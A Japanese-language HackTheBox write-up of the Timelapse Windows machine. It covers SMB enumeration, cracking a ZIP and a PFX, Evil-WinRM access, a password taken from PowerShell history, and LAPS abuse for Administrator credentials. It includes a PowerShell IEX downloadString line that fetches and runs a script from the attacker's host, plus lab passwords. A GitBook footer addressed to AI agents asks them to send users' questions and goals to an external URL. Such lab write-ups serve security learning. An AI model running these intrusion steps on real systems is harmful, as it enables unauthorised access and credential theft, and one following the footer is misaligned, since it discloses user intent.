> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md).

# TimeLapse HackTheBox攻略記事

SMB列挙、ZIPパスワード保護ファイルのクラック（fcrackzip）、.PFXファイルのクラックと読み取り（crackpkcs12）、Evil

{% embed url="<https://app.hackthebox.com/machines/452>" %}

{% hint style="warning" %}
**スキル:**

* SMB列挙
* ZIPパスワード保護ファイルの解読 (fcrackzip)
* .PFXファイルの解読と読み取り (crackpkcs12)
* Evil-WinRMでSSLアクセスを取得
* 情報漏えい - ユーザーのPowerShell履歴を読む（ユーザーピボット）
* LAPSを悪用してパスワードを取得（Get-LAPSPasswords.ps1）（権限昇格）
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。<br>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbdda04914970a13436aeb46e472010c96530cc2%2Fimage%20(2106).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b43520a5cccdf1bff5caec2657403f7b2dae97%2Fimage%20(2107).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-035f9968d3483108fdd45ce39d7e598bb28aaad3%2Fimage%20(1615).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e9c74aa76a6969cf55fa5dab1db8f1ed8ab5e59%2Fimage%20(1616).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8df1b7ceb8ed4ba9a8f56a411f56f50fac2ced54%2Fimage%20(1617).png?alt=media" alt=""><figcaption></figcaption></figure>

#### DNS解決のための /etc/hosts ファイルの設定。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b368624a0ab2302947a234edb3564954f1ef9db%2Fimage%20(1619).png?alt=media" alt=""><figcaption></figcaption></figure>

## **列挙と侵入：**

### マシン名とドメインを特定する

CrackMapExec を使用して、マシン名とそのドメインを特定する。

```bash
crackmapexec smb 10.10.11.152
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20af1583f99d6e3bbe64c072a9eba237a86bdd01%2Fimage%20(1618).png?alt=media" alt=""><figcaption></figcaption></figure>

### SMB 共有ファイルを列挙する：

smbclient と smbmap を使用して共有ファイルを列挙する。

```bash
smbclient -L 10.10.11.152 -N
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-376e6c6b90790267726f00c074ecba227e3daddb%2Fimage%20(1620).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.11.152 -u 'null'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64def11bf9d89c4cad5afdd1c920476e86c92d38%2Fimage%20(1621).png?alt=media" alt=""><figcaption></figcaption></figure>

### **共有フォルダへのアクセスと、パスワード保護された ZIP ファイルの発見**

共有フォルダ内のファイルを探索して特定し、保護された ZIP ファイルを明らかにする。

```bash
smbclient //10.10.11.152/Shares -N
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ea61bd1e31a594d5832d1c919c71f619e1b6add%2Fimage%20(1624).png?alt=media" alt=""><figcaption></figcaption></figure>

### **fcrackzip による ZIP ファイルのクラック**

fcrackzip を使って ZIP ファイルのパスワードを見つける。

```bash
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-232c48ba68cf71adcd7b76e2e8680ac6ba4c860a%2Fimage%20(1625).png?alt=media" alt=""><figcaption></figcaption></figure>

### **PFXファイルからの抽出**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb3c1c04681ff2f5fec5aabd712c51f637d67cbc%2Fimage%20(1627).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c72343083b02915714ec91f3971baad9de4be74%2Fimage%20(1628).png?alt=media" alt=""><figcaption></figcaption></figure>

### **PFXファイルのパスワードをクラックする：**

#### pfx ファイルのパスワードを解析するために、crackpkcs12 ツールを使用する。

{% embed url="<https://github.com/crackpkcs12/crackpkcs12>" %}

```bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b8c1ca8abc39155f45fbfb574899d44c24d22e8%2Fimage%20(1630).png?alt=media" alt=""><figcaption></figcaption></figure>

### **PFX ファイルから秘密鍵と証明書を取得する**

秘密鍵の復元

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3148b69e02bd1853e62a43ac3e27fddb0eedf49a%2Fimage%20(1632).png?alt=media" alt=""><figcaption></figcaption></figure>

証明書の復元

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dc3fe3a67201a5f17c6b4d5c3a5b2d30df971ee%2Fimage%20(1633).png?alt=media" alt=""><figcaption></figcaption></figure>

### **秘密鍵と証明書を使った Evil-WinRM での SSL 接続**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53377a379d295c669d34bd555ed463327ef10cfb%2Fimage%20(1634).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8146e1a35574fa67c593e58e1c4d1ca4118ac6%2Fimage%20(1635).png?alt=media" alt=""><figcaption></figcaption></figure>

### **最初のフラグを取得**

最初のフラグ「user.txt」を入手する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25bb5164f473f836bdf0bbfa6762dffe382c33%2Fimage%20(1636).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格：

**net users と whoami /priv を使った DC ユーザーと権限の一覧**

ドメインコントローラー上のユーザーと権限の特定。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b69e447987b85f7d34e7d7e22c7b174bc56947a%2Fimage%20(1637).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf9315a1d6fef959e6b053e5d472fdea8280f20%2Fimage%20(1638).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **ユーザーグループの分析と、ユーザー「svc/ deploy」が「LAPS/ Readers」グループのメンバーであることの発見**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d09652ff508325d5511ed785ac70ce4d370f73b%2Fimage%20(1639).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **PowerShell の履歴を読んでユーザー「svc/ deploy」のパスワードを取得する**

```bash
type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe6a4c8f1a4fe542937aa63375cf6ef8f0c580c3%2Fimage%20(1640).png?alt=media" alt=""><figcaption></figcaption></figure>

### **CrackMapExec によるパスワード検証**

CrackMapExec を使ってパスワードの有効性を確認。

```bash
crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff76bb25a159fce9188cb57fafa0a02bd7601a77%2Fimage%20(1641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ユーザー認証情報「svc/ deploy」を使用して Evil-WinRM にログイン**

Evil-WinRM を使って、ユーザー認証情報「svc/ deploy」でリモートシステムに接続する。

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
</strong></code></pre>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10958c847e4cbb46388b67537471799c015fe8b9%2Fimage%20(1609).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Get-LAPSPasswords を使ってパスワードを抽出する**

{% embed url="<https://github.com/kfosaaen/Get-LAPSPasswords>" %}

#### **Get-LAPSPasswords スクリプトをダウンロードする**

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1')
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76610dd82c5370e2e9f31fe9696b0cc6d3dcfcb5%2Fimage%20(1610).png?alt=media" alt=""><figcaption></figcaption></figure>

### **スクリプトの実行と管理者パスワードの復元**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6963e1158a54e8e7757cc14a162ceb911452bfda%2Fimage%20(1611).png?alt=media" alt=""><figcaption></figcaption></figure>

### **CrackMapExec による管理者パスワードの検証**

CrackMapExec をユーザー Administrator から使用して、パスワードの有効性を確認。

```basic
crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe7f7634f70ed9d641532adfed5e5056da90feef%2Fimage%20(1612).png?alt=media" alt=""><figcaption></figcaption></figure>

### **管理者 ID を使った Evil-WinRM での最終接続**

Evil-WinRM 経由で管理者認証情報を使ってシステムへ最終接続する。

```bash
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf0ad4174f7bd8997d203a25bef1489e6c9d054a%2Fimage%20(1613).png?alt=media" alt=""><figcaption></figcaption></figure>

### **最終フラグ取得 :)**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8017dd91a437356c6b0c4516d6864df6bb4835e%2Fimage%20(1614).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ebeffecf9aefd3e814328de37b87746b146fc71%2Fimage%20(1411).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
